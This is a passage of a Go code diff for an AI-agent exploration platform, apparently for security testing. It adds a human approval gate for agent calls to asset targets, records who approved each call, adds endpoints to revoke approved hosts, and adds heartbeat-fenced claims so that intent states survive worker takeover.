+	if err != nil || !t.Valid {
+		return ""
+	}
+	return claims.Subject
+}
+
+// approver is who a human decision is recorded for: the subject of the
+// request's session token.
+func (s *Server) approver(r *http.Request) string {
+	return jwtSubject(extractToken(r), s.jwtKey)
+}
+
 // extractToken reads the JWT from Authorization: Bearer header,
 // artex_token cookie, or ?token= query param (for SSE connections).
 func extractToken(r *http.Request) string {

server/claim_heartbeat_test.go

@@ -0,0 +1,102 @@
+package server
+
+import (
+	"context"
+	"errors"
+	"testing"
+	"time"
+
+	"github.com/Autumn-27/artex/agent"
+	"github.com/Autumn-27/artex/db"
+)
+
+// The worker-side heartbeat must keep a claim alive while it runs and, once
+// another worker has taken the intent over, cancel the stale run with the named
+// claim-lost cause instead of carrying on.
+func TestClaimHeartbeatRenewsThenCancelsOnTakeover(t *testing.T) {
+	skipWithoutDSN(t)
+	dsn, _, err := db.DSN()
+	if err != nil {
+		t.Fatal(err)
+	}
+	d, err := db.Open(dsn)
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer d.Close()
+	expID, err := d.CreateExploration("claim heartbeat", "renew, then stop on takeover")
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer d.Exec(`DELETE FROM explorations WHERE id=$1`, expID)
+	store := d.Exploration(expID)
+	id, err := store.AddIntent(map[string]any{"summary": "leased"}, 1, nil, "planner")
+	if err != nil {
+		t.Fatal(err)
+	}
+	token, err := store.ClaimIntentToken(id, "work#1")
+	if err != nil || token == "" {
+		t.Fatalf("claim: token=%q err=%v", token, err)
+	}
+	expire := func() {
+		t.Helper()
+		if _, err := d.Exec(`UPDATE exploration_nodes SET last_heartbeat_at = now() - $2 * INTERVAL '1 second' WHERE id=$1`,
+			id, (db.IntentClaimTTL + time.Second).Seconds()); err != nil {
+			t.Fatal(err)
+		}
+	}
+
+	ctx, cancel := context.WithCancelCause(context.Background())
+	defer cancel(nil)
+	stop := startClaimHeartbeat(store, 20*time.Millisecond, "work#1", id, token, cancel)
+	defer stop()
+
+	// Renewal: an expired-looking heartbeat is refreshed by the next ticks.
+	expire()
+	deadline := time.Now().Add(5 * time.Second)
+	for {
+		var fresh bool
+		if err := d.QueryRow(`SELECT last_heartbeat_at > now() - INTERVAL '30 seconds' FROM exploration_nodes WHERE id=$1`, id).Scan(&fresh); err != nil {
+			t.Fatal(err)
+		}
+		if fresh {
+			break
+		}
+		if time.Now().After(deadline) {
+			t.Fatal("heartbeat did not renew the claim")
+		}
+		time.Sleep(10 * time.Millisecond)
+	}
+	if ctx.Err() != nil {
+		t.Fatalf("run cancelled while its claim was live: %v", context.Cause(ctx))
+	}
+
+	// Takeover: expire the claim and reclaim it before the next heartbeat lands
+	// (retried, because a heartbeat may win the race and renew the claim first).
+	var reclaimed int64
+	for attempt := 0; attempt < 200 && reclaimed == 0; attempt++ {
+		expire()
+		if reclaimed, err = store.ResetRunningIntents(); err != nil {
+			t.Fatal(err)
+		}
+	}
+	if reclaimed != 1 {
+		t.Fatalf("could not take the claim over: reclaimed=%d", reclaimed)
+	}
+	other, err := store.ClaimIntentToken(id, "work#2")
+	if err != nil || other == "" {
+		t.Fatalf("re-claim: token=%q err=%v", other, err)
+	}
+
+	select {
+	case <-ctx.Done():
+	case <-time.After(5 * time.Second):
+		t.Fatal("stale run was not cancelled after the takeover")
+	}
+	if cause := context.Cause(ctx); !errors.Is(cause, agent.AbortWorkClaimLost) {
+		t.Fatalf("cancel cause=%v, want AbortWorkClaimLost", cause)
+	}
+	if err := store.HeartbeatIntentClaim(id, other); err != nil {
+		t.Fatalf("new claimer lost its claim: %v", err)
+	}
+}

server/conversations.go

@@ -79,6 +79,7 @@ func (s *Server) pgCreateConversation(w http.ResponseWriter, r *http.Request) {
 		AgentKey     string `json:"agent_key"`
 		Title        string `json:"title"`
 		LLMProfileID *int64 `json:"llm_profile_id"`
+		TargetGate   bool   `json:"target_gate"` // approval gate for asset targets, opt-in
 	}
 	if !decodeConversationRequest(w, r, &req) {
 		return
@@ -115,7 +116,7 @@ func (s *Server) pgCreateConversation(w http.ResponseWriter, r *http.Request) {
 		writeErr(w, 400, fmt.Sprintf("Title must be at most %d characters", maxConversationTitleRunes))
 		return
 	}
-	c, err := pg.CreateConversation(req.AgentKey, title, req.LLMProfileID)
+	c, err := pg.CreateConversationGated(req.AgentKey, title, req.LLMProfileID, req.TargetGate)
 	if err != nil {
 		writeErr(w, 500, err.Error())
 		return
@@ -176,14 +177,15 @@ func (s *Server) pgRenameConversation(w http.ResponseWriter, r *http.Request) {
 		return
 	}
 	var req struct {
-		Title  *string `json:"title"`
-		Pinned *bool   `json:"pinned"`
+		Title      *string `json:"title"`
+		Pinned     *bool   `json:"pinned"`
+		TargetGate *bool   `json:"target_gate"`
 	}
 	if !decodeConversationRequest(w, r, &req) {
 		return
 	}
-	if req.Title == nil && req.Pinned == nil {
-		writeErr(w, 400, "Provide at least title or pinned")
+	if req.Title == nil && req.Pinned == nil && req.TargetGate == nil {
+		writeErr(w, 400, "Provide at least title, pinned or target_gate")
 		return
 	}
 	if req.Title != nil {
@@ -198,7 +200,7 @@ func (s *Server) pgRenameConversation(w http.ResponseWriter, r *http.Request) {
 		}
 		req.Title = &title
 	}
-	updated, err := pg.UpdateConversation(c.ID, db.ConversationPatch{Title: req.Title, Pinned: req.Pinned})
+	updated, err := pg.UpdateConversation(c.ID, db.ConversationPatch{Title: req.Title, Pinned: req.Pinned, TargetGate: req.TargetGate})
 	if err != nil {
 		writeErr(w, 500, err.Error())
 		return
@@ -558,9 +560,15 @@ func (s *Server) runConversationTurn(ctx context.Context, cancel context.CancelC
 			log.Printf("[conv %d] append activity failed: %v", c.ID, err)
 		}
 	}
+	// Approval scope of this turn's tool calls for the target gate (chat and retester).
+	// The conversation's opt-in flag is the one read when the turn started: a
+	// switch through the API applies from the next turn.
+	gate := c.TargetGate
+	gctx := intercept.WithTargetScope(ctx, intercept.TargetScope{ConversationID: c.ID, Enabled: func() bool { return gate },
+		WaitBound: intercept.DefaultTargetWaitBound, Interceptor: s.m.interceptor})
 	// On a manual stop ctx is cancelled; Chat already emits a clean "stopped by the user"
 	// step, so skip the raw-error entry — only surface genuine failures.
-	if _, err := ca.Chat(ctx, c.AgentKey, sessionID, msg, maxTurns, maxDuration, webSearch, emit); err != nil {
+	if _, err := ca.Chat(gctx, c.AgentKey, sessionID, msg, maxTurns, maxDuration, webSearch, emit); err != nil {
 		finishReason = err.Error()
 		if ctx.Err() == nil {
 			_, _ = pg.AppendConvActivity(c.ID, db.Activity{Worker: c.AgentKey, Kind: "text", IsError: true,

server/cost_ledger_test.go

@@ -9,6 +9,7 @@ import (
 // The cost ledger: profile prices (EUR per 1M tokens) turn token buckets into
 // EUR on the usage aggregation; unpriced profiles stay nil.
 func TestCostLedgerEurOnUsage(t *testing.T) {
+	skipWithoutDSN(t)
 	m, err := NewManager(t.TempDir(), "")
 	if err != nil {
 		t.Fatal(err)

server/dto.go

@@ -63,6 +63,7 @@ type TaskDTO struct {
 	CompanyIDs         []int64            `json:"company_ids"`
 	CoverageEnabled    bool               `json:"coverage_enabled"` // asset coverage feature switch (fixed at creation)
 	PlanQuietMode      bool               `json:"plan_quiet_mode"`  // planner quiet-mode switch (#86), editable mid-run
+	TargetGate         bool               `json:"target_gate"`      // approval gate for asset targets, opt-in, editable mid-run
 }
 
 // FindingSeverityDTO is the per-severity finding count shown in the task list (critical/high/medium/low).
@@ -138,6 +139,7 @@ func taskDTO(t *Task, status string) TaskDTO {
 		CompanyIDs:         lifecycle.CompanyIDs,
 		CoverageEnabled:    t.CoverageEnabled,
 		PlanQuietMode:      t.PlanQuietMode,
+		TargetGate:         t.targetGate.Load(),
 	}
 }
 

server/engine.go

@@ -480,17 +480,6 @@ func (e *Engine) releaseWorkControl(intentID int64, run *workExecution, action s
 	e.workMu.Unlock()
 }
 
-func transitionIntentState(store *db.ExplorationStore, intentID int64, expected, state string) error {
-	changed, err := store.CompareAndSetIntentState(intentID, expected, state)
-	if err != nil {
-		return err
-	}
-	if !changed {
-		return fmt.Errorf("%w: intent %d is no longer in the %s state", db.ErrIntentStateConflict, intentID, expected)
-	}
-	return nil
-}
-
 // SteerWork queues a mid-run course-correction for the work running intentID (the
 // planner's steer_work tool). The worker delivers it before its next tool call and
 // re-plans — no kill. Errors if no work is currently running that intent.
@@ -761,10 +750,11 @@ func (e *Engine) Run(ctx context.Context, t *Task) {
 		t.Notify() // already running — just nudge a planning round
 		return
 	}
-	rt := e.registerTaskRoutines(ctx, t.ID, 1+workers)
+	rt := e.registerTaskRoutines(ctx, t.ID, 2+workers)
 	e.deleteMu.RUnlock()
 	e.touch(t.ID)
 	runTaskRoutine(rt, func(loopCtx context.Context) { e.plannerLoop(loopCtx, t) })
+	runTaskRoutine(rt, func(loopCtx context.Context) { e.claimSweepLoop(loopCtx, t) })
 	for i := 0; i < workers; i++ {
 		name := fmt.Sprintf("work#%d", i+1)
 		runTaskRoutine(rt, func(loopCtx context.Context) { e.workerLoop(loopCtx, t, name) })
@@ -817,6 +807,19 @@ func (e *Engine) quietSkipEdge(t *Task) bool {
 	return err == nil && active
 }
 
+// plannerGateContext tags a planning round's context for the target gate: the
+// task, the "planner" lane (so an approval request raised from the round shows
+// inline in the planner transcript) and the approval scope. wait bounds how long
+// a gated call may wait for a human decision.
+func (e *Engine) plannerGateContext(ctx context.Context, t *Task, wait time.Duration) context.Context {
+	emit := func(a db.Activity) {
+		a.Worker = "planner"
+		e.emitActivity(t, a)
+	}
+	ctx = intercept.WithTaskContext(ctx, t.ID, "planner", emit)
+	return intercept.WithTargetScope(ctx, t.targetScope(wait))
+}
+
 func (e *Engine) plannerLoop(ctx context.Context, t *Task) {
 	interval := plannerHeartbeatInterval(t)
 	// Arming the heartbeat timer at loop entry = counting from the task start: even a
@@ -907,8 +910,9 @@ func (e *Engine) plannerLoop(ctx context.Context, t *Task) {
 		// coalesces a burst; empty for time/heartbeat wakes).
 		triggers := t.drainTriggers()
 		taskIDInt, _ := strconv.ParseInt(t.ID, 10, 64)
+		pctx := e.plannerGateContext(ectx, t, intercept.DefaultTargetWaitBound)
 		e.BeginLLMCall(t.ID)
-		met, reason, err := planner.Plan(ectx, taskIDInt, e.m.assets, t.Store, t.Goal, triggers, emit)
+		met, reason, err := planner.Plan(pctx, taskIDInt, e.m.assets, t.Store, t.Goal, triggers, t.TargetGuard.Hooks(), emit)
 		e.EndLLMCall(t.ID)
 		switch {
 		case err != nil && ectx.Err() == nil:
@@ -950,6 +954,64 @@ func (e *Engine) plannerLoop(ctx context.Context, t *Task) {
 	}
 }
 
+// claimSweepLoop periodically returns this task's expired intent claims (no
+// heartbeat within db.IntentClaimTTL: the claiming worker crashed or its process
+// is gone) to the frontier, where the worker loops re-claim them. The startup
+// reset alone would miss a claim that was still live when this process started.
+func (e *Engine) claimSweepLoop(ctx context.Context, t *Task) {
+	ticker := time.NewTicker(db.IntentClaimHeartbeatInterval)
+	defer ticker.Stop()
+	for {
+		select {
+		case <-ctx.Done():
+			return
+		case <-ticker.C:
+		}
+		if !e.beginTaskOperation(t.ID) {
+			return
+		}
+		n, err := t.Store.ResetRunningIntents()
+		e.decInflight(t.ID)
+		if err != nil {
+			log.Printf("[engine] task %s expired-claim sweep failed: %v", t.ID, err)
+		} else if n > 0 {
+			log.Printf("[engine] task %s returned %d expired intent claims to open", t.ID, n)
+		}
+	}
+}
+
+// startClaimHeartbeat renews an intent claim every interval while its worker is
+// busy. A heartbeat rejected with db.ErrIntentClaimLost means the claim expired
+// and another worker took the intent over: the run is cancelled with
+// AbortWorkClaimLost so the stale worker stops. Any other store error is logged
+// and retried on the next tick; the claim survives until db.IntentClaimTTL
+// passes without a heartbeat. stop blocks until the heartbeat has ended.
+func startClaimHeartbeat(store *db.ExplorationStore, interval time.Duration, label string, intentID int64, token string, cancel context.CancelCauseFunc) (stop func()) {
+	quit, done := make(chan struct{}), make(chan struct{})
+	go func() {
+		defer close(done)
+		ticker := time.NewTicker(interval)
+		defer ticker.Stop()
+		for {
+			select {
+			case <-quit:
+				return
+			case <-ticker.C:
+			}
+			err := store.HeartbeatIntentClaim(intentID, token)
+			if errors.Is(err, db.ErrIntentClaimLost) {
+				log.Printf("[worker %s] intent #%d heartbeat rejected, cancelling this run: %v", label, intentID, err)
+				cancel(agent.AbortWorkClaimLost)
+				return
+			}
+			if err != nil {
+				log.Printf("[worker %s] intent #%d heartbeat failed, retrying: %v", label, intentID, err)
+			}
+		}
+	}()
+	return func() { close(quit); <-done }
+}
+
 func (e *Engine) workerLoop(ctx context.Context, t *Task, name string) {
 	for {
 		select {
@@ -1000,12 +1062,12 @@ func (e *Engine) workerLoop(ctx context.Context, t *Task, name string) {
 // runIntent. Returns false when nothing was claimable. The pool worker loop is its
 // only caller.
 func (e *Engine) runWorkerStep(ctx context.Context, t *Task, name string, worker *agent.Worker) bool {
-	intent := e.claimNext(t, name)
+	intent, token := e.claimNext(t, name)
 	if intent == nil {
 		return false
 	}
 	log.Printf("[worker %s] task %s claimed intent #%d", name, t.ID, intent.ID)
-	return e.runIntent(ctx, t, name, worker, intent, "", "")
+	return e.runIntent(ctx, t, name, worker, intent, token, "", "")
 }
 
 // runIntent executes and fully settles one already-claimed (state=running) intent.
@@ -1016,7 +1078,10 @@ func (e *Engine) runWorkerStep(ctx context.Context, t *Task, name string, worker
 // transcript marker that dedups re-injection across model_error retries. The caller
 // must already hold one task-operation admission for the whole sequence so a delete
 // cannot observe quiescence between the LLM return and the final DB writes.
-func (e *Engine) runIntent(ctx context.Context, t *Task, name string, worker *agent.Worker, intent *db.Node, requestID, message string) bool {
+// token is the unclaim token of the caller's claim: a heartbeat renews the claim
+// while the worker is busy, and every intent state write below is fenced on it,
+// so a worker whose claim was taken over cannot overwrite the new claimer.
+func (e *Engine) runIntent(ctx context.Context, t *Task, name string, worker *agent.Worker, intent *db.Node, token, requestID, message string) bool {
 	// Per-intent LLM rotation (#85): each claimed worker intent runs on the
 	// next chain head. The pin travels through the run context into the
 	// provider resolver; non-worker roles and failover keep the active head.
@@ -1031,7 +1096,7 @@ func (e *Engine) runIntent(ctx context.Context, t *Task, name string, worker *ag
 	emit := func(r db.Activity) { e.emitActivity(t, r) }
 	ectx := e.clockCtx(e.execContextFor(ctx, t.ID), t, false) // cancellable by Pause; carries the task deadline
 	if ectx.Err() != nil || e.IsDeleting(t.ID) {
-		if err := transitionIntentState(t.Store, intent.ID, "running", "open"); err != nil {
+		if err := t.Store.SettleIntentClaim(intent.ID, token, "open"); err != nil {
 			log.Printf("[worker %s] task %s intent #%d claim rollback failed: %v", name, t.ID, intent.ID, err)
 		}
 		return true
@@ -1039,6 +1104,7 @@ func (e *Engine) runIntent(ctx context.Context, t *Task, name string, worker *ag
 	// per-work child context so the planner's kill_work can stop just this work.
 	workCtx, workCancel := context.WithCancelCause(ectx)
 	e.registerWork(intent.ID, workCancel)
+	stopHeartbeat := startClaimHeartbeat(t.Store, db.IntentClaimHeartbeatInterval, name, intent.ID, token, workCancel)
 	// wrap the guard hooks so steer_work can inject a mid-run course-correction
 	// for THIS intent (drained before the worker's next tool call).
 	iid := intent.ID
@@ -1049,6 +1115,7 @@ func (e *Engine) runIntent(ctx context.Context, t *Task, name string, worker *ag
 	}
 	label := fmt.Sprintf("%s · #%d", name, iid)
 	workCtx = intercept.WithTaskContext(workCtx, t.ID, label, taskEmit)
+	workCtx = intercept.WithTargetScope(workCtx, t.targetScope(intercept.DefaultTargetWaitBound))
 	// nudges deliberately sits outside the model_error rerun loop: the idle-turn rerun
 	// cap is a per-intent total, and one rerun round must not reset it back to zero.
 	hooks := steerHooks{
@@ -1089,6 +1156,7 @@ func (e *Engine) runIntent(ctx context.Context, t *Task, name string, worker *ag
 		}
 		e.EndLLMCall(t.ID)
 	}
+	stopHeartbeat() // no longer busy: the state writes below follow within the just-renewed claim
 	// Capture kill state before detachWork cancels workCtx. kill = this work's
 	// ctx was cancelled (planner kill_work) while the TASK ctx kept running; a
 	// pause cancels the task ctx (ectx) instead. Checking workCtx.Err() AFTER
@@ -1111,7 +1179,7 @@ func (e *Engine) runIntent(ctx context.Context, t *Task, name string, worker *ag
 	var controlErr error
 	defer func() { completeWork(controlErr) }()
 	if action == "pause" {
-		controlErr = transitionIntentState(t.Store, intent.ID, "running", "paused")
+		controlErr = t.Store.SettleIntentClaim(intent.ID, token, "paused")
 		if controlErr != nil {
 			log.Printf("[worker %s] task %s intent #%d failed to persist the paused state: %v", name, t.ID, intent.ID, controlErr)
 			return true
@@ -1124,7 +1192,7 @@ func (e *Engine) runIntent(ctx context.Context, t *Task, name string, worker *ag
 		// Park the stopped run in paused before handing cleanup to the API. If the
 		// request disconnects after cancellation, the intent remains recoverable and
 		// a later cancel can finish cleanup instead of leaving a phantom running row.
-		controlErr = transitionIntentState(t.Store, intent.ID, "running", "paused")
+		controlErr = t.Store.SettleIntentClaim(intent.ID, token, "paused")
 		if controlErr != nil {
 			log.Printf("[worker %s] task %s intent #%d failed to persist the cancel barrier: %v", name, t.ID, intent.ID, controlErr)
 			return true
@@ -1133,11 +1201,18 @@ func (e *Engine) runIntent(ctx context.Context, t *Task, name string, worker *ag
 		e.touch(t.ID)
 		return true
 	}
+	// The heartbeat was rejected: the claim expired and another worker took the
+	// intent over. This run's result is void and the intent state is not ours to
+	// write (the fence would reject every write below).
+	if errors.Is(workCause, agent.AbortWorkClaimLost) {
+		log.Printf("[worker %s] task %s intent #%d claim lost to another worker, result discarded", name, t.ID, intent.ID)
+		return true
+	}
 	// if a pause cancelled this run mid-flight, return the intent to the frontier
 	// so it is re-claimed on resume — the worker will resume the prior LLM
 	// conversation from its transcript instead of restarting from scratch.
 	if ectx.Err() != nil && taskExecutionPaused(context.Cause(ectx)) {
-		if err := transitionIntentState(t.Store, intent.ID, "running", "open"); err != nil {
+		if err := t.Store.SettleIntentClaim(intent.ID, token, "open"); err != nil {
 			log.Printf("[worker %s] task %s intent #%d task-pause rollback failed: %v", name, t.ID, intent.ID, err)
 		}
 		return true
@@ -1145,7 +1220,7 @@ func (e *Engine) runIntent(ctx context.Context, t *Task, name string, worker *ag
 	// The hard-fallback cancel of task-timeout settlement (not pause, not kill) cancelled
 	// this run → classify it as exhausted (settled), not mislabeled blocked. By then the worker has usually written its result back during the settlement phase.
 	if ectx.Err() != nil && e.isSettling(t.ID) {
-		if err := transitionIntentState(t.Store, intent.ID, "running", "exhausted"); err != nil {
+		if err := t.Store.SettleIntentClaim(intent.ID, token, "exhausted"); err != nil {
 			log.Printf("[worker %s] task %s intent #%d failed to persist the timeout-settlement state: %v", name, t.ID, intent.ID, err)
 		}
 		log.Printf("[worker %s] task %s intent #%d ended by task-timeout settlement (exhausted), wrote back %s", name, t.ID, intent.ID, wrote)
@@ -1155,7 +1230,7 @@ func (e *Engine) runIntent(ctx context.Context, t *Task, name string, worker *ag
 	// Task judged complete (done via the regular path) → cancelExec above cancelled this
 	// run. The intent's result is meaningless now; mark it stopped (not blocked) and do not pollute the intent states of a completed task.
 	if ectx.Err() != nil && isTerminalStatus(e.m.TaskStatus(t.ID)) {
-		if err := transitionIntentState(t.Store, intent.ID, "running", "stopped"); err != nil {
+		if err := t.Store.SettleIntentClaim(intent.ID, token, "stopped"); err != nil {
 			log.Printf("[worker %s] task %s intent #%d failed to persist the terminal stop: %v", name, t.ID, intent.ID, err)
 		}
 		log.Printf("[worker %s] task %s intent #%d cancelled because the task completed (stopped)", name, t.ID, intent.ID)
@@ -1164,7 +1239,7 @@ func (e *Engine) runIntent(ctx context.Context, t *Task, name string, worker *ag
 	}
 	// killed by the planner: mark stopped (don't write back results, don't auto-reclaim).
 	if killed {
-		if err := transitionIntentState(t.Store, intent.ID, "running", "stopped"); err != nil {
+		if err := t.Store.SettleIntentClaim(intent.ID, token, "stopped"); err != nil {
 			log.Printf("[worker %s] task %s intent #%d failed to persist the planner stop: %v", name, t.ID, intent.ID, err)
 		}
 		log.Printf("[worker %s] task %s intent #%d killed (stopped)", name, t.ID, intent.ID)
@@ -1188,11 +1263,16 @@ func (e *Engine) runIntent(ctx context.Context, t *Task, name string, worker *ag
 		state = "exhausted"
 		log.Printf("[worker %s] intent %d ran out of time (exhausted), wrote back %s after settling", name, intent.ID, wrote)
 	}
+	var stateErr error
 	if state == "blocked" && isTaskLLMChainExhausted(err) {
-		_ = t.Store.SetIntentBlockedReason(intent.ID, db.IntentBlockedLLMQuota)
+		stateErr = t.Store.SettleIntentClaimBlocked(intent.ID, token, db.IntentBlockedLLMQuota)
 	} else {
-		if stateErr := transitionIntentState(t.Store, intent.ID, "running", state); stateErr != nil {
-			log.Printf("[worker %s] task %s intent #%d failed to persist terminal state %s: %v", name, t.ID, intent.ID, state, stateErr)
+		stateErr = t.Store.SettleIntentClaim(intent.ID, token, state)
+	}
+	if stateErr != nil {
+		log.Printf("[worker %s] task %s intent #%d failed to persist terminal state %s: %v", name, t.ID, intent.ID, state, stateErr)
+		if errors.Is(stateErr, db.ErrIntentClaimLost) {
+			return true // taken over: the intent is not finished, its new claimer reports the result
 		}
 	}
 	log.Printf("[worker %s] task %s intent #%d finished: %s (wrote back %s)", name, t.ID, intent.ID, state, wrote)
@@ -1234,11 +1314,11 @@ func (e *Engine) runDetachedIntent(ctx context.Context, t *Task, intentID int64,
 	if node == nil || node.Kind != db.KindIntent {
 		return fmt.Errorf("intent not found")
 	}
-	changed, err := t.Store.CompareAndSetIntentState(intentID, "paused", "running")
+	token, err := t.Store.ClaimPausedIntentToken(intentID)
 	if err != nil {
 		return err
 	}
-	if !changed {
+	if token == "" {
 		return fmt.Errorf("%w: intent is no longer in the paused state", db.ErrIntentStateConflict)
 	}
 	node.State, node.Owner = "running", "chat"
@@ -1251,7 +1331,7 @@ func (e *Engine) runDetachedIntent(ctx context.Context, t *Task, intentID int64,
 	release = false // ownership of the admission passes to the goroutine
 	go func() {
 		defer e.decInflight(t.ID)
-		e.runIntent(ctx, t, "chat", worker, node, requestID, agentMessage)
+		e.runIntent(ctx, t, "chat", worker, node, token, requestID, agentMessage)
 	}()
 	return nil
 }
@@ -1279,12 +1359,12 @@ func sleepCtx(ctx context.Context, d time.Duration) (done bool) {
 	}
 }
 
-func (e *Engine) claimNext(t *Task, name string) *db.Node {
+func (e *Engine) claimNext(t *Task, name string) (*db.Node, string) {
 	fr, _ := t.Store.Frontier(20)
 	for _, in := range fr {
-		if ok, _ := t.Store.ClaimIntent(in.ID, name); ok {
-			return in
+		if token, _ := t.Store.ClaimIntentToken(in.ID, name); token != "" {
+			return in, token
 		}
 	}
-	return nil
+	return nil, ""
 }

server/engine_timeout.go

@@ -260,8 +260,10 @@ func (e *Engine) runFinalPlannerRound(ctx context.Context, t *Task) (met bool) {
 	e.emitActivity(t, db.Activity{Worker: "planner", Kind: "round",
 		Summary: fmt.Sprintf("task timeout settle · final judgment (round %d)", e.nextPlannerRound(t.ID))})
 	tTaskID, _ := strconv.ParseInt(t.ID, 10, 64)
+	// The final round judges, it does not explore: a gated call never waits here.
+	fctx = e.plannerGateContext(fctx, t, 0)
 	e.BeginLLMCall(t.ID)
-	met, reason, err := planner.Plan(fctx, tTaskID, e.m.assets, t.Store, t.Goal, t.drainTriggers(), emit)
+	met, reason, err := planner.Plan(fctx, tTaskID, e.m.assets, t.Store, t.Goal, t.drainTriggers(), t.TargetGuard.Hooks(), emit)
 	e.EndLLMCall(t.ID)
 	if err != nil {
 		log.Printf("[deadline] task %s final planning error: %v", t.ID, err)

server/finding_traffic_test.go

@@ -22,6 +22,7 @@ import (
 
 func trafficEvidenceServer(t *testing.T) (*Server, *db.RecordedFinding, func(string, string, string) *httptest.ResponseRecorder) {
 	t.Helper()
+	skipWithoutDSN(t)
 	m, err := NewManager(t.TempDir(), "")
 	if err != nil {
 		t.Fatal(err)

server/intercept.go

@@ -328,9 +328,9 @@ func interceptFilterParams(q url.Values) (db.InterceptApprovalFilter, error) {
 		return filter, fmt.Errorf("status must be pending, allowed, denied or timeout")
 	}
 	switch filter.DecisionSource {
-	case "", "model", "rule", "unknown":
+	case "", "model", "rule", "target", "unknown":
 	default:
-		return filter, fmt.Errorf("decision_source must be model, rule or unknown")
+		return filter, fmt.Errorf("decision_source must be model, rule, target or unknown")
 	}
 	switch filter.DecidedBy {
 	case "", "human", "rule", "model", "system":
@@ -372,7 +372,9 @@ func (s *Server) interceptDecide(w http.ResponseWriter, r *http.Request) {
 		writeErr(w, 400, "decision must be allowed or denied")
 		return
 	}
-	if err := s.m.interceptor.Decide(id, req.Decision == "allowed"); err != nil {
+	// On a target request "allowed" pins the addresses the request displayed.
+	// Every human decision records who took it and from where.
+	if err := s.m.interceptor.Decide(id, req.Decision == "allowed", s.approver(r), clientIP(r, s.trustedProxies)); err != nil {
 		if errors.Is(err, intercept.ErrAlreadyDecided) {
 			writeErr(w, 409, err.Error())
 			return
@@ -383,6 +385,84 @@ func (s *Server) interceptDecide(w http.ResponseWriter, r *http.Request) {
 	writeJSON(w, 200, map[string]any{"ok": true})
 }
 
+// --- target pins (hosts a human approved for one task or one conversation) ---
+
+// taskPinScope resolves {id} to the pin scope of an existing task.
+func (s *Server) taskPinScope(w http.ResponseWriter, r *http.Request) (db.TargetScopeRef, bool) {
+	id, ok := pathInt(r, "id")
+	if !ok || id <= 0 {
+		writeErr(w, 400, "bad task id")
+		return db.TargetScopeRef{}, false
+	}
+	if _, ok := s.m.Task(strconv.FormatInt(id, 10)); !ok {
+		writeErr(w, 404, "task not found")
+		return db.TargetScopeRef{}, false
+	}
+	return db.TargetScopeRef{TaskID: id}, true
+}
+
+func (s *Server) taskListTargetPins(w http.ResponseWriter, r *http.Request) {
+	if scope, ok := s.taskPinScope(w, r); ok {
+		s.listTargetPins(w, scope)
+	}
+}
+
+func (s *Server) taskRevokeTargetPin(w http.ResponseWriter, r *http.Request) {
+	if scope, ok := s.taskPinScope(w, r); ok {
+		s.revokeTargetPin(w, r, scope)
+	}
+}
+
+func (s *Server) convListTargetPins(w http.ResponseWriter, r *http.Request) {
+	if _, c, ok := s.convByID(w, r); ok {
+		s.listTargetPins(w, db.TargetScopeRef{ConversationID: c.ID})
+	}
+}
+
+func (s *Server) convRevokeTargetPin(w http.ResponseWriter, r *http.Request) {
+	if _, c, ok := s.convByID(w, r); ok {
+		s.revokeTargetPin(w, r, db.TargetScopeRef{ConversationID: c.ID})
+	}
+}
+
+// listTargetPins returns every pin of the scope, in any state, newest first.
+func (s *Server) listTargetPins(w http.ResponseWriter, scope db.TargetScopeRef) {
+	pg := s.pg(w)
+	if pg == nil {
+		return
+	}
+	pins, err := pg.ListTargetPins(scope)
+	if err != nil {
+		writeErr(w, 500, err.Error())
+		return
+	}
+	writeJSON(w, 200, map[string]any{"pins": pins})
+}
+
+// revokeTargetPin revokes pin {pid} of the scope. The next call to that host
+// asks again. Revoking a pin that is no longer active changes nothing.
+func (s *Server) revokeTargetPin(w http.ResponseWriter, r *http.Request, scope db.TargetScopeRef) {
+	pg := s.pg(w)
+	if pg == nil {
+		return
+	}
+	pid, ok := pathInt(r, "pid")
+	if !ok {
+		writeErr(w, 400, "bad pin id")
+		return
+	}
+	pin, err := pg.RevokeTargetPin(scope, pid)
+	if err != nil {
+		writeErr(w, 500, err.Error())
+		return
+	}
+	if pin == nil {
+		writeErr(w, 404, "pin not found")
+		return
+	}
+	writeJSON(w, 200, pin)
+}
+
 // --- tool-config (global tool interception scope) ---
 
 // interceptGetToolConfig returns the list of tool names that are currently

server/llm_ollama_test.go

@@ -103,6 +103,7 @@ func TestOllamaProviderWiresOpenAIProtocol(t *testing.T) {
 // loadProfileConfig accepts it, the task chain validates it, the failover pool
 // includes it, and the connection test completes against a fake Ollama.
 func TestOllamaKeylessProfileLifecycle(t *testing.T) {
+	skipWithoutDSN(t)
 	m, err := NewManager(t.TempDir(), "")
 	if err != nil {
 		t.Fatal(err)
@@ -180,6 +181,7 @@ func TestOllamaKeylessProfileLifecycle(t *testing.T) {
 // Model listing for an Ollama server works without an API key and tolerates a
 // base URL with or without the /v1 suffix.
 func TestOllamaListModels(t *testing.T) {
+	skipWithoutDSN(t)
 	var calls atomic.Value // []string paths
 	fake := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
 		w.Header().Set("Content-Type", "application/json")

server/llm_test_fallback_test.go

@@ -18,6 +18,7 @@ import (
 // assigned raw, so a key saved with surrounding whitespace ran fine in
 // conversations but 401'd the connection test.
 func TestLLMTestStoredKeyFallbackIsTrimmed(t *testing.T) {
+	skipWithoutDSN(t)
 	m, err := NewManager(t.TempDir(), "")
 	if err != nil {
 		t.Fatal(err)
@@ -97,6 +98,7 @@ func TestLLMTestFallbackMatchesRuntimeNormalization(t *testing.T) {
 // (the list-view test button) fills provider/model/base_url from the row, so
 // the key lands on the configured host instead of the canonical default one.
 func TestLLMTestStoredProfileUsesProfileEndpoint(t *testing.T) {
+	skipWithoutDSN(t)
 	m, err := NewManager(t.TempDir(), "")
 	if err != nil {
 		t.Fatal(err)

server/manager.go

@@ -13,6 +13,7 @@ import (
 	"strconv"
 	"strings"
 	"sync"
+	"sync/atomic"
 	"time"
 
 	"github.com/Autumn-27/artex/agent"
@@ -68,9 +69,14 @@ type Task struct {
 	DeadlineAt           int64                  `json:"deadline_at,omitempty"`
 	Store                *pgdb.ExplorationStore `json:"-"`
 	Guard                *guard.Guard           `json:"-"`
+	TargetGuard          *guard.Guard           `json:"-"` // planner and main-agent hooks: target gate only
 	notify               chan struct{}
 	lifecycleMu          sync.RWMutex
 	llmMu                sync.RWMutex
+	// targetGate is the task's opt-in to the approval gate for asset targets.
+	// Atomic: it is switched through the API while tool calls read it.
+	targetGate  atomic.Bool
+	interceptor *intercept.Interceptor // owner of the target gate, handed to the scope
